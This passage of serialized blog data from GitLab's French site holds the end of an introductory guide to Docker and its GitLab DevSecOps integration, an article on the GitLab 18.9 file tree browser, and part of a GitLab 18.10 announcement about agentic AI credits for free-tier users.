et le système de fichiers) et les cgroups (qui limitent et contrôlent l'utilisation des ressources). Docker encapsule ces fonctionnalités complexes dans une interface simple et portable, permettant aux équipes de développement de créer des environnements cohérents sur n'importe quelle plateforme.\n\nLe processus de conteneurisation avec Docker suit un cheminement précis :\n\n1. **Création d'un Dockerfile :** ce fichier texte contient les instructions pour construire l'environnement\n2. **Construction d’une image docker** : Docker assemble les composants selon les spécifications du Dockerfile\n3. **Instanciation du conteneur** : l'image devient un conteneur exécutable\n4. **Gestion du cycle de vie** : démarrage, arrêt, surveillance et mise à jour des conteneurs\n\nPour comprendre pleinement le fonctionnement de Docker, il est essentiel de maîtriser les quatre composants fondamentaux suivants, qui contribuent à créer un écosystème de conteneurisation complet et efficace.\n\n### Docker Engine : le cœur du système\n\n[Docker Engine](https://docs.docker.com/engine/) est le moteur qui orchestre toutes les opérations de conteneurisation. Cette architecture client-serveur se compose de trois éléments interconnectés qui travaillent en harmonie :\n\n**Docker Daemon ([dockerd](https://docs.docker.com/reference/cli/dockerd/))** constitue le service central qui s'exécute en permanence sur le système hôte et gère l'ensemble du cycle de vie des conteneurs. Il supervise la création, l'exécution, la surveillance et la destruction des conteneurs, tout en gérant les images, les réseaux virtuels et les volumes de stockage. Ce daemon écoute en permanence les requêtes et exécute les opérations demandées.\n\n**L'API REST Docker** est le mode de communication principal avec Docker Daemon. Concrètement, quand vous lancez `docker run` ou [`docker build`](https://docs.gitlab.com/ci/docker/using_docker_build/), votre commande est transformée en requête HTTP qui est envoyée au daemon. Cette API permet également aux équipes de développement de créer leurs propres outils ou d'automatiser Docker dans leurs scripts et applications.\n\n**Le client Docker CLI** représente l'interface en ligne de commande que les utilisateurs emploient quotidiennement. Chaque commande `docker` (run, build, push, pull) transite par ce client qui communique avec le daemon via l'[API REST](https://about.gitlab.com/fr-fr/blog/2024/09/04/what-is-rest-api/ \"Qu'est-ce qu'une API REST ?\").\n\n### Images Docker : les modèles d'exécution\n\nUne **image Docker** constitue un modèle immuable et en lecture seule qui encapsule l'ensemble des éléments nécessaires à l'exécution d'une application. Cette image contient le système de fichiers complet, incluant le code source, les bibliothèques système, les dépendances, les variables d'environnement et les métadonnées de configuration.\n\nL'architecture en couches des images Docker représente l'une des innovations les plus importantes de cette technologie. Chaque instruction dans un Dockerfile crée une nouvelle couche et Docker utilise un système de cache intelligent pour réutiliser les couches communes entre différentes images. Cette approche optimise considérablement l'espace de stockage et accélère les processus de construction et de téléchargement.\n\nLes images sont identifiées par des tags qui combinent un nom et une version (comme `nginx:latest`, `ubuntu:20.04` ou `node:18-alpine`). Ces tags permettent aux équipes de développement de spécifier précisément quelle version d'une image utiliser dans leurs déploiements.\n\n### Dockerfile : automatiser la construction\n\nLe **Dockerfile** représente bien plus qu'un simple script d'instructions : il constitue la recette complète pour reproduire fidèlement un environnement d'exécution. Ce fichier texte utilise une syntaxe déclarative simple pour définir chaque étape de la construction d'une image.\n\nUn Dockerfile typique commence par spécifier une image de base (instruction FROM), puis enchaîne les opérations : installation de dépendances (`RUN`), copie de fichiers (`COPY` ou `ADD`), configuration d'environnement (`ENV`), exposition de ports (`EXPOSE`), et définition de la commande par défaut (`CMD` ou `ENTRYPOINT`).\n\nCette approche Infrastructure as Code garantit la reproductibilité parfaite des environnements et s'inscrit parfaitement dans les pratiques [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que le DevOps ?\") actuelles. En documentant explicitement toutes les étapes de configuration dans un fichier versionable, le Dockerfile facilite la collaboration entre les équipes de développement et les opérateurs.\n\n### Docker Registry : partager et distribuer\n\nLes registres Docker fonctionnent comme des dépôts centralisés qui permettent de stocker, versioner et distribuer des images Docker de manière sécurisée. Ils constituent l'épine dorsale de l'écosystème Docker en facilitant la collaboration et le partage d'images.\n\n**[Docker Hub](https://www.docker.com/products/docker-hub/)** demeure le registre public officiel, hébergeant des millions d'images communautaires et officielles. Les équipes de développement peuvent y trouver des images prêtes à l'emploi : bases de données, serveurs web, etc. \n\nLes entreprises peuvent également déposer leurs images dans des **registres privés** garantissant la sécurité et le contrôle des accès. Ces registres privés peuvent être auto hébergés (on-premise) ou dans le cloud.\n\n## Pourquoi utiliser Docker ?\n\nLe développement d'applications fait face à des défis croissants : multiplication des environnements de déploiement, diversité des technologies utilisées, cycles de livraison accélérés et exigences de fiabilité toujours plus élevées. Les équipes de développement jonglent quotidiennement avec des problématiques complexes qui ralentissent leur productivité et augmentent les risques d'erreur.\n\nEn ce sens, Docker répond directement ou indirectement à ces problématiques récurrentes dans le développement logiciel.\n\n**Uniformisation des environnements** : Docker élimine le fameux « ça marche sur ma machine » en garantissant que l'application s'exécute de manière identique sur tous les environnements, du poste de développement à la production.\n\n**Simplification des déploiements** : l'empaquetage de l'application et de ses dépendances dans un conteneur unique simplifie considérablement les processus de déploiement et réduit les risques d'erreur.\n\n**Isolation des applications** : chaque conteneur dispose de son propre espace d'exécution, évitant les conflits entre différentes versions de bibliothèques ou de dépendances.\n\n**Accélération du développement** : les équipes de développement peuvent rapidement lancer des environnements complexes sans configuration manuelle fastidieuse.\n\n**Optimisation des ressources informatiques** : Docker permet une utilisation plus efficace des ressources serveur comparé aux machines virtuelles traditionnelles. Plusieurs conteneurs peuvent partager le même noyau système tout en maintenant leur isolation, réduisant ainsi l'empreinte mémoire et CPU. \n\nCette efficacité se traduit par :\n\n* Des temps de démarrage considérablement réduits\n* Une densité d'applications plus élevée par serveur\n* Une consommation énergétique optimisée\n* Des coûts d'infrastructure réduits\n\n## Quels sont les avantages de Docker ?\n\nMaintenant que nous avons vu pourquoi Docker est si populaire, intéressons-nous davantage aux avantages qu'il apporte concrètement aux équipes de développement. \n\n### Portabilité et cohérence\n\nDocker garantit que les applications fonctionnent de manière identique quel que soit l'environnement d'exécution. Cette portabilité facilite :\n\n* La migration d'applications entre différents fournisseurs cloud\n* Le déploiement sur des architectures hybrides (on-premise et cloud)\n* La création d'environnements de test fidèles à la production\n* La distribution d'applications complexes\n\n### Scalabilité et performance\n\nLes conteneurs Docker offrent une flexibilité exceptionnelle pour adapter les ressources aux besoins applicatifs :\n\n* **Montée en charge horizontale** : ajout rapide de nouvelles instances de conteneurs selon la demande\n* **Optimisation des ressources** : allocation précise des ressources CPU et mémoire par conteneur\n* **Démarrage instantané** : les conteneurs se lancent en quelques secondes contre plusieurs minutes pour les machines virtuelles\n* **Efficacité réseau** : gestion sophistiquée des réseaux virtuels entre conteneurs\n\n### Facilitation du DevOps\n\nDocker s'intègre naturellement dans les pratiques DevOps en :\n\n* Automatisant les processus de compilation et de déploiement\n* Facilitant l'intégration et le déploiement continus ([CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\"))\n* Permettant des tests reproductibles dans des environnements isolés\n* Accélérant les cycles de développement et de livraison\n\n### Écosystème et communauté\n\nL'écosystème Docker bénéficie d'une communauté active qui développe :\n\n* Des milliers d'images officielles et communautaires sur Docker Hub\n* Des outils d'orchestration de conteneurs comme Docker Swarm (natif à Docker) et Kubernetes\n* Des solutions de monitoring et de logging adaptées aux conteneurs\n* Des intégrations avec les principales plateformes cloud\n\n## Quelles sont les limites de Docker ?\n\nComme nous venons de le voir, Docker présente de nombreux avantages, mais aussi certains inconvénients, dont il convient de prendre connaissance avec de plonger dans l’écosystème Docker.\n\n### Limitation à un seul système d'exploitation\n\nDocker crée plusieurs conteneurs sur un seul système d'exploitation. Si cette approche offre des avantages en termes de vitesse de démarrage et de traitement, elle peut également présenter des inconvénients. Par exemple, si vous souhaitez tester votre application dans un environnement Windows alors que votre machine hôte fonctionne sous Linux, vous devrez préparer une machine ou une machine virtuelle séparée.\n\n### Surcharge lors du développement à grande échelle\n\nDocker est léger en lui-même, mais lorsqu'il est étendu à un système de grande envergure, la charge de gestion de Docker entre en jeu. Docker peut faire fonctionner de nombreux conteneurs sur un seul serveur, mais d'un autre côté, cela nécessite une gestion et une orchestration qui peuvent générer une surcharge. Il peut également devenir difficile de tout gérer en utilisant Docker seul sans recourir à des outils d’orchestration comme Docker Swarm ou encore [Kubernetes](https://about.gitlab.com/fr-fr/blog/2024/07/25/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\").\n\n### Courbe d'apprentissage exigeante\n\nDocker utilise une méthode différente pour créer des environnements virtuels par rapport aux autres machines virtuelles. Cela signifie que les équipes de développement doivent apprendre et appréhender tous ces nouveaux concepts. Utiliser Docker sans bien comprendre son fonctionnement peut entraîner des problèmes par la suite. Il est important d'étudier Docker de manière approfondie avant de commencer à l'utiliser.\n\n### Vulnérabilités de sécurité potentielles\n\nDocker utilise une architecture basée sur les conteneurs. Comme plusieurs conteneurs fonctionnent sur une seule machine, il faut faire attention aux vulnérabilités qui peuvent en découler. Par exemple, s'il y a une vulnérabilité dans un conteneur, elle pourrait affecter tous les autres conteneurs qui partagent les ressources du système d'exploitation hôte et le noyau.\n\n### Difficultés dans la coopération entre conteneurs\n\nLorsque vous envisagez l'intégration entre plusieurs conteneurs, diverses configurations peuvent être difficiles, ce qui peut conduire à des problèmes opérationnels. Par exemple, si vous créez une application et une base de données dans des conteneurs séparés et souhaitez les faire fonctionner ensemble, vous devez configurer les paramètres de communication au sein du même hôte. L'ouverture de ports et de sockets pose des risques de sécurité. Si vous rendez les paramètres trop compliqués pour éviter cela, vous risquez alors de rencontrer des problèmes en production. Lors de l'intégration de conteneurs, il est important de bien réfléchir dès la phase de conception.\n\n### Comment GitLab résout les défis de Docker ?\n\nGitLab transforme Docker d'un simple outil de conteneurisation en une solution DevSecOps complète et sécurisée. Cette plateforme intégrée résout les principaux défis auxquels font face les organisations utilisant Docker à grande échelle.\n\nL'approche \"shift-left\" de GitLab intègre les contrôles de sécurité directement dans le pipeline de développement. Plutôt que de traiter la sécurité comme une étape finale, GitLab analyse automatiquement les images Docker dès leur construction, détectant les vulnérabilités, les configurations dangereuses et les dépendances obsolètes avant le déploiement. Cette détection précoce réduit considérablement les coûts de remédiation et élimine les risques de sécurité en production.\n\nGitLab Runner et ses pipelines CI/CD transforment la gestion des conteneurs Docker en automatisant l'ensemble du cycle de vie DevSecOps. Cette infrastructure d'exécution permet la construction automatisée d'images Docker optimisées, la validation automatique de la sécurité et des performances et l'orchestration sécurisée vers différents environnements.\n\n## Le rôle de Docker dans l’approche DevSecOps de GitLab\n\nDocker joue également un rôle très important dans l'intégration DevSecOps avec GitLab.\n\n### Conteneurisation des jobs CI/CD\n\nGitLab CI/CD vous permet d'utiliser des conteneurs Docker dans vos [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), vous apportant :\n\n* **Cohérence** : les jobs CI/CD s'exécutent dans des conteneurs, éliminant les erreurs dues aux différences de dépendances et d'environnements\n* **Scalabilité** : les conteneurs sont légers, rapides à démarrer et efficaces pour exécuter de larges pipelines\n* **Flexibilité d'environnement** : vous pouvez spécifier différentes images Docker pour chaque job, facilitant la mise à disposition de l'environnement requis\n\nL'image Docker GitLab Runner est basée sur Ubuntu ou Alpine Linux et inclut les commandes standard `gitlab-runner` qui la font fonctionner comme si vous aviez installé GitLab Runner directement sur l'hôte.\n\n### Scanning de sécurité automatisé\n\nLa sécurité est un composant clé de l’approche DevSecOps. GitLab la prend en charge dans les applications conteneurisées avec Docker à l’aide des scannings suivants : \n\n* **Scanning de sécurité des images de conteneurs** : fournit la capacité de scanner les images Docker dans vos pipelines CI/CD, vérifiant les vulnérabilités des packages OS afin d'évaluer la sûreté des images avant qu’elles n’atteignent l’environnement de production \n* **[Scanning en continue des vulnérabilités de conteneurs](https://docs.gitlab.com/user/application_security/continuous_vulnerability_scanning/)** : recherche les failles de sécurité dans les dépendances existantes des applications en se basant sur leur [SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une nomenclature logicielle' ?\") et en comparant les noms et les versions des composants aux informations contenues dans les derniers avis de sécurité.\n* **[Scanning opérationnel de conteneurs](https://about.gitlab.com/blog/improve-security-auditing-with-gitlab-operational-container-scanning/)** : exécute les analyses de vulnérabilités sur les conteneurs déployés dans un environnement Kubernetes. Cela comprend l'analyse régulière des images à la recherche de nouvelles vulnérabilités découvertes et le suivi des environnements dans lesquels ces vulnérabilités sont déployées.\n\n### Infrastructure as Code (IaC) et gestion d'environnement\n\n* **Reproductibilité** : l’utilisation de Docker dans les jobs GitLab CI/CD assure la cohérence entre les environnements de développement et de production.\n* **Création instantanée d'environnements de staging et de test** : en s'intégrant avec Docker Compose et Kubernetes, GitLab vous permet de créer des environnements isolés pour des branches spécifiques ou des merge requests, permettant des tests efficaces et un scanning de sécurité.\n\n### Déploiement rationalisé\n\nGitLab supporte les modèles de déploiement suivants avec Docker :\n\n* **Compilation et push d'images Docker** : construisez votre application sous forme d’image de conteneur et effectuez un push vers le registre de conteneurs de GitLab ou d'autres registres Docker.\n* **[Livraison continue](https://about.gitlab.com/fr-fr/topics/continuous-delivery/ \"Qu'est-ce que la livraison continue ?\")** : utilisez des images Docker et déployez vers des outils d'orchestration de conteneurs pour des releases rapides et sécurisées.\n\n### Prise en charge de l'architecture de microservices\n\nGitLab et Docker ensemble facilitent la construction d'[architectures de microservices](https://about.gitlab.com/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture/ \"Qu'est-ce qu'une architecture de microservices ?\"), où les [microservices](https://about.gitlab.com/fr-fr/topics/microservices/ \"Qu'est-ce qu'un microservice ?\") s'exécutent comme des conteneurs Docker séparés. \n\nAvec les pipelines GitLab CI/CD, vous pouvez gérer :\n\n* La configuration des dépendances entre services\n* Les scans de sécurité individuels\n* Le [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") (facilite les retours à une version précédente)\n\n## Conclusion\n\nDocker a transformé le paysage du développement logiciel en démocratisant la conteneurisation et en simplifiant la gestion des environnements d'exécution. Sa capacité à créer des applications portables, légères et facilement déployables en fait aujourd’hui un outil incontournable pour les équipes de développement.\n\nL'intégration native avec GitLab renforce encore davantage sa valeur en proposant une plateforme DevSecOps complète. Cette synergie permet aux entreprises d'accélérer leurs cycles de développement logiciel tout en maintenant des standards élevés de sécurité et de qualité.\n\nPour les équipes souhaitant moderniser leurs pratiques de développement, l'adoption de Docker représente un investissement stratégique qui se traduit par une productivité accrue, des déploiements plus fiables, une meilleure évolutivité et un environnement flexible.\n\n> Vous souhaitez installer GitLab dans un conteneur Docker ? Consultez notre [documentation](https://docs.gitlab.com/install/docker/) pour en savoir plus. \n\n## FAQ sur Docker\n\n### Que peut-on faire avec Docker ?\n\nDocker est une technologie de virtualisation légère et autonome qui empaquette le code d'application, ses dépendances et ses bibliothèques. Docker vous permet de créer plusieurs conteneurs (environnements virtuels) sur une seule machine, vous permettant d'unifier vos environnements de développement et de test. \n\n### À quoi sert Docker ?\n\nDocker est utilisé par les équipes de développement pour découpler les applications et leurs dépendances du reste du système. Les conteneurs regroupent les applications et leurs dépendances ensemble et fournissent un environnement d'exécution léger.\n\n### Docker peut-il remplacer les machines virtuelles ?\n\nDocker ne remplace pas complètement les machines virtuelles, mais offre une alternative plus légère pour de nombreux cas d'usage. Les conteneurs partagent le noyau du système hôte, tandis que les machines virtuelles émulent un système complet. Le choix dépend de vos besoins en isolation, performance et compatibilité système.\n\n*Note : certaines parties de cet article proviennent de l'article japonais [Dockerとは：超入門編](https://about.gitlab.com/ja-jp/blog/what-is-docker/).*",[706,89],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1760102032/qsxbap3mitapwa5tko76.jpg",{"featured":652,"template":806,"slug":1123},"what-is-docker-comprehensive-guide",{"category":71,"slug":756,"posts":1125},[1126,1138,1148],{"content":1127,"config":1136},{"title":1128,"description":1129,"authors":1130,"category":756,"tags":1132,"body":1133,"heroImage":1134,"date":1135},"Arborescence des fichiers : naviguez plus rapidement dans les dépôts","Découvrez cette nouvelle fonctionnalité qui améliore la visibilité et simplifie la navigation sur GitLab.com, GitLab Self-Managed et GitLab Dedicated.",[1131],"Talia Armato-Helle",[798,756,706],"Imaginez le scénario suivant : vous repérez un fichier dans le navigateur de dépôt. Vous cliquez dessus, parcourez le code, puis vous vérifiez un élément dans une autre partie de l'arborescence. Vous cliquez donc sur le bouton retour. Vous redescendez dans l'arborescence, et accédez peut-être à niveau inférieur. Vous trouvez le fichier suivant, vous cliquez dessus et recommencez.\n\nCette approche fonctionne, mais devient vite fastidieuse. Si vous avez déjà souhaité que le navigateur de dépôt ressemble davantage à votre [IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\") qu'à une série de fils d'Ariane, l'arborescence de fichiers de GitLab 18.9 est faite pour vous.\n\n## Fonctionnement de l'arborescence de fichiers\n\nL'arborescence de fichiers ajoute un panneau repliable et redimensionnable à côté de vos vues de fichiers et de répertoires, de sorte que la structure de votre projet reste visible pendant que vous lisez et naviguez dans le code. Ainsi, vous n'avez plus besoin de cliquer sur retour pour savoir où vous vous trouvez.\n\nCette fonctionnalité affiche les fichiers et répertoires de votre projet dans une arborescence à côté de la liste des fichiers et du contenu des fichiers, ce qui vous permet de voir la structure et le code en même temps.\n\nSi vous avez déjà utilisé une arborescence de fichiers dans un IDE ou une plateforme [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\"), elle devrait vous sembler familière :\n\n**Navigation avec une vue structurée**\n\nDéveloppez et repliez les répertoires et basculez entre les fichiers tout en gardant une vue claire de votre position dans la hiérarchie du dépôt. Lorsque vous accédez directement à un fichier imbriqué, l'arborescence développe les répertoires parents et met en surbrillance le fichier actuel afin que vous ne perdiez pas le contexte. L'arborescence se synchronise également avec votre position actuelle : lorsque vous sélectionnez un fichier dans la zone de contenu principale, l'arborescence se met à jour en conséquence.\n\n**Filtrage par nom de fichier**\n\nAprès avoir ouvert l'arborescence, appuyez sur `F` pour ouvrir la boîte de dialogue de recherche globale. Saisissez une partie d'un nom de fichier pour y accéder directement depuis la liste de résultats, chaque résultat affichant ses répertoires parents afin que vous sachiez où vous vous trouvez.\n\n\n**Navigation axée sur le clavier**\n\nL'arborescence implémente le modèle de vue arborescente ARIA du W3C, ce qui vous permet de naviguer parmi les fichiers et répertoires à l'aide du clavier et des touches fléchées, ainsi que des touches Entrée, Espace, Début, Fin et des touches de caractères. Ce type de navigation est plus accessible pour les utilisateurs de lecteurs d'écran et pour toute personne qui préfère utiliser un clavier.\n\n\n**Réactivité sur tous les écrans**\n\nSur un ordinateur, l'arborescence s'affiche côte à côte avec votre liste de fichiers et votre code. Sur les écrans plus petits, elle se transforme en panneau latéral gauche que vous pouvez ouvrir lorsque vous en avez besoin. Sur mobile, l'arborescence est masquée afin que la vue du code puisse occuper tout l'écran.\n\n\n**Conception pour les dépôts volumineux**\n\nPour les dépôts avec de nombreuses entrées, l'arborescence utilise la pagination afin que vous puissiez charger davantage d'éléments selon vos besoins sans surcharger la page. L'expérience reste fluide à mesure que votre projet se développe.\n\n## Découvrez l'arborescence de fichiers en action\n\nMichael Friedrich, Principal Developer Advocate chez GitLab, présente la nouvelle arborescence de fichiers dans GitLab. Découvrez comment cette fonctionnalité facilite la navigation dans les dépôts volumineux, comme si vous travailliez dans votre IDE. La démonstration utilise le projet GitLab [Tanuki IoT Platform](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/demo-environments/tanuki-iot-platform), que vous pouvez explorer vous-même pour tester l'arborescence de fichiers dans un véritable dépôt. \n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1171188581?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"File Tree in Repo Demo\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n## Essayez l'arborescence de fichiers dès aujourd'hui\n\nL'arborescence de fichiers est disponible dès maintenant sur GitLab.com et a été publiée dans la [version 18.9](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/) pour GitLab Self-Managed et GitLab Dedicated.\n\nVoici comment y accéder :\n\n1. Ouvrez n'importe quelle vue de fichier ou de répertoire de dépôt dans votre projet (`/\u003Cproject>/-/tree/\u003Cbranch>`).\n2. Dans le coin supérieur gauche, sélectionnez l'icône d'arborescence de fichiers ou appuyez sur `Shift+F` pour activer/désactiver l'arborescence de fichiers.\n3. Appuyez sur `F` pour filtrer les fichiers par nom ou extension, commencez à saisir du texte, puis utilisez les touches fléchées et `Entrée` pour accéder directement au fichier souhaité.\n\n## Perspectives\n\nL'équipe Source Code de GitLab a conçu l'arborescence de fichiers en plaçant l'accessibilité, les performances à grande échelle et la cohérence entre les différents écrans au cœur de ses exigences. Ces principes continueront de guider nos prochains développements, et vos retours nous aideront à façonner les futures itérations.\n\n## Aidez-nous à améliorer l'arborescence de fichiers\n\nPartagez vos retours sur l'arborescence de fichiers dans notre [ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/581271).\n\n\n> Vous souhaitez en savoir plus sur l'arborescence de fichiers ? Consultez la [documentation](https://docs.gitlab.com/user/project/repository/files/file_tree_browser/).\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773075582/yiosxfhwk8rfkulrtchv.png","2026-03-31",{"featured":13,"template":806,"slug":1137},"navigate-repositories-faster-with-the-file-tree-browser",{"content":1139,"config":1146},{"title":1140,"description":1141,"authors":1142,"heroImage":804,"date":1143,"body":1144,"category":756,"tags":1145},"GitLab 18.10 : l'IA agentique accessible à encore plus d'utilisateurs","Les utilisateurs de la version gratuite de GitLab.com peuvent acheter des crédits GitLab pour utiliser les agents et workflows d'IA, et profitent d'une revue de code automatisée à un tarif forfaitaire.",[1131],"2026-03-19","L'IA agentique transforme la façon dont les logiciels sont développés. Mais pour de nombreuses équipes, en particulier dans les petites et moyennes structures, le chemin vers son adoption s'apparente à un choix binaire : souscrire un abonnement complet à une plateforme ou renoncer entièrement à l'IA.\n\nUn tournant s'amorce avec GitLab 18.10. Dès aujourd'hui, les équipes qui utilisent la version gratuite de GitLab.com peuvent acheter un abonnement mensuel de [GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/) et commencer à utiliser [GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/) immédiatement, sans mise à niveau de leur abonnement. Il s'agit d'un véritable point d'entrée vers l'IA agentique pour les équipes qui ne sont pas encore prêtes à souscrire un abonnement GitLab, mais qui souhaitent commencer à développer avec l'IA.\n\nLe fonctionnement est simple : vous payez pour ce que l'IA accomplit, et non pour le nombre de personnes qui l'utilisent. Le propriétaire de votre groupe achète un engagement mensuel de GitLab Credits via les paramètres de facturation du groupe. L'ensemble de votre équipe accède alors aux mêmes agents et workflows d'IA que les clients GitLab Premium et GitLab Ultimate pour la planification, la génération de code, la revue de code automatisée et le diagnostic de pipelines, le tout à partir d'un pool de crédits partagé.\n\nLe [tableau de bord GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/#gitlab-credits-dashboard) offre aux propriétaires de groupe une visibilité sur les agents et workflows qui consomment des crédits, afin de relier directement les dépenses de l'IA au travail produit.\n\n![Tableau de bord GitLab Credits qui affiche un pool mensuel engagé de 50 crédits avec suivi de l'utilisation, consommation de crédits à la demande et allocation de crédits par utilisateur pour GitLab Duo Agent Platform.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773867549/jdrzquwptvjnbr7eqd56.png)\n\n## Zero-day avec GitLab Duo Agent Platform\n\nDès que le propriétaire de votre groupe a acheté des crédits, chaque membre de l'équipe peut commencer à utiliser GitLab Duo Agent Platform.\n\nVoici le fonctionnement d'un workflow type :\n\nVous commencez avec une demande de fonctionnalité pour votre logiciel. Ouvrez [l'agent GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) dans l'Agentic Chat et décrivez vos besoins. L'agent les décompose en éléments de travail structurés : tickets avec descriptions, labels et relations, tous créés directement dans votre projet. Ce qui prenait auparavant un après-midi entier de gestion manuelle des tickets ne prend plus que quelques minutes.\n\nSélectionnez l'un de ces tickets et assignez [le flow Developer](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/developer/) pour démarrer le travail. L'agent lit le contexte du ticket, génère du code conforme aux exigences, exécute les tests et ouvre une merge request pour revue. Vous pouvez également utiliser [l'Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/) pour un travail plus itératif, qu'il s'agisse de refactorisation, d'extension ou d'explication de code dans le contexte de votre projet.\n\nLorsque la merge request est prête, [le flow Code Review](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/code_review/) exécute une revue automatisée en plusieurs étapes : analyse des modifications, prise en compte du contexte du dépôt et publication de commentaires inline structurés, directement liés au diff. Vos réviseurs humains peuvent ainsi se concentrer sur l'architecture et la logique métier, sans avoir à gérer les premières étapes manuelles.\n\nEt si le pipeline échoue, le [flow Fix CI/CD Pipeline](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/fix_pipeline/) lit les logs d'erreurs, identifie la cause profonde et propose un correctif. Au lieu de parcourir manuellement les job logs, votre équipe dispose d'un point de départ pour la correction.\n\nGitLab Duo Agent Platform accompagne le développement logiciel de l'itération au déploiement, à partir d'un seul pool de crédits.\n\nLa prise en main des agents et workflows est simple. Découvrez comment passer de la planification au déploiement en moins de 3 minutes dans cette vidéo :\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1175244743?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.10 Main Demo V2\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Revue de code à un tarif forfaitaire : des coûts prévisibles à grande échelle\n\nParmi tous les workflows disponibles via GitLab Duo Agent Platform, la revue de code automatisée est celui qui livre des résultats le plus rapidement, et celui pour lequel la prévisibilité des coûts est la plus importante.\n\nLe flow Code Review coûte désormais un tarif forfaitaire de 0,25 crédit GitLab par revue, indépendamment de la taille de la merge request, de la complexité du dépôt ou du nombre d'étapes exécutées en interne. Quatre revues correspondent à un crédit. Que votre équipe fusionne 500 ou 50 000 merge requests par mois, vous pouvez prévoir les coûts directement en fonction du nombre de revues.\n\nLes chiffres parlent d'eux-mêmes. Les revues de code manuelles ne coûtent pas seulement de l'argent : elles prennent du temps et perturbent le développement en raison de changements de contexte constants. Le temps économisé grâce au flow Code Review peut se traduire par des économies substantielles à mesure que le volume des revues augmente. Vous avez désormais la possibilité d'exécuter des centaines de revues simultanément au lieu de les laisser en file d'attente, ce qui signifie que les gains de temps se combinent rapidement aux économies financières.\n\nLes équipes qui utilisent la version gratuite de GitLab savent désormais exactement quelle part de leur pool mensuel de crédits est consacrée à la revue de code afin de pouvoir planifier en conséquence.\n\n> Découvrez [le fonctionnement du flow Code Review](https://about.gitlab.com/fr-fr/blog/code-review-without-the-bottlenecks-or-the-bill/) et comment faire évoluer votre organisation.\n\n## Pourquoi GitLab Premium multiplie la valeur ajoutée\n\nLes crédits GitLab de la version gratuite offrent à votre équipe un accès direct à l'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\"). Si votre équipe s'appuie davantage sur GitLab, GitLab Premium est l'abonnement qui allie avantages économiques et fonctionnalités avancées.\n\nDisponible pour 29 $ par utilisateur et par mois, [GitLab Premium](https://about.gitlab.com/fr-fr/pricing/) inclut 12 GitLab Credits par utilisateur dans le cadre d'une offre promotionnelle. Pour une équipe de 20 personnes, cela représente 240 crédits par mois avant toute dépense supplémentaire, soit suffisamment pour couvrir environ 960 revues de code automatisées, ou une combinaison de revues de code, de planification, de workflows de développement et de corrections de pipelines.\n\nGitLab Duo Agent Platform ne représente qu'une partie de GitLab Premium. Vous bénéficiez également d'un [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") avancé pour les pipelines à fort volume, d'approbations de merge requests et de propriétaires du code pour la gouvernance, ainsi que d'une IA qui fonctionne au sein d'une couche de données unifiée avec un contexte partagé entre vos projets.\n\nSi votre équipe utilise des crédits dans le cadre de la version gratuite et constate que l'IA devient centrale dans son workflow, GitLab Premium constitue l'étape suivante naturelle grâce aux crédits promotionnels inclus. Cette formule offre davantage de fonctionnalités et offre une structure de base qui évolue avec vous.\n\n## Commencez dès aujourd'hui\n\nGitLab 18.10 est disponible dès maintenant. Que votre équipe ait besoin de l'IA agentique pour accélérer ses tâches ou de la plateforme complète pour accompagner ses méthodes de travail actuelles, vous disposez désormais d'une solution claire pour accélérer votre processus de développement logiciel.\n\n* **Équipes qui utilisent la version gratuite de GitLab.com :** [achetez un engagement mensuel de GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom) via les paramètres de facturation de votre groupe et commencez à utiliser GitLab Duo Agent Platform dès aujourd'hui.\n\n* **Équipes prêtes pour la plateforme complète :** [trouvez l'abonnement GitLab adapté à votre équipe](https://docs.gitlab.com/subscriptions/choosing_subscription/) ou [démarrez un essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/).\n\nLa configuration des crédits pour votre équipe est rapide et simple. Regardez cette démo pour en savoir plus :\n\u003Ciframe src=\"https://player.vimeo.com/video/1175238100?badge=0&autopause=0&player_id=0&app_id=58479\" 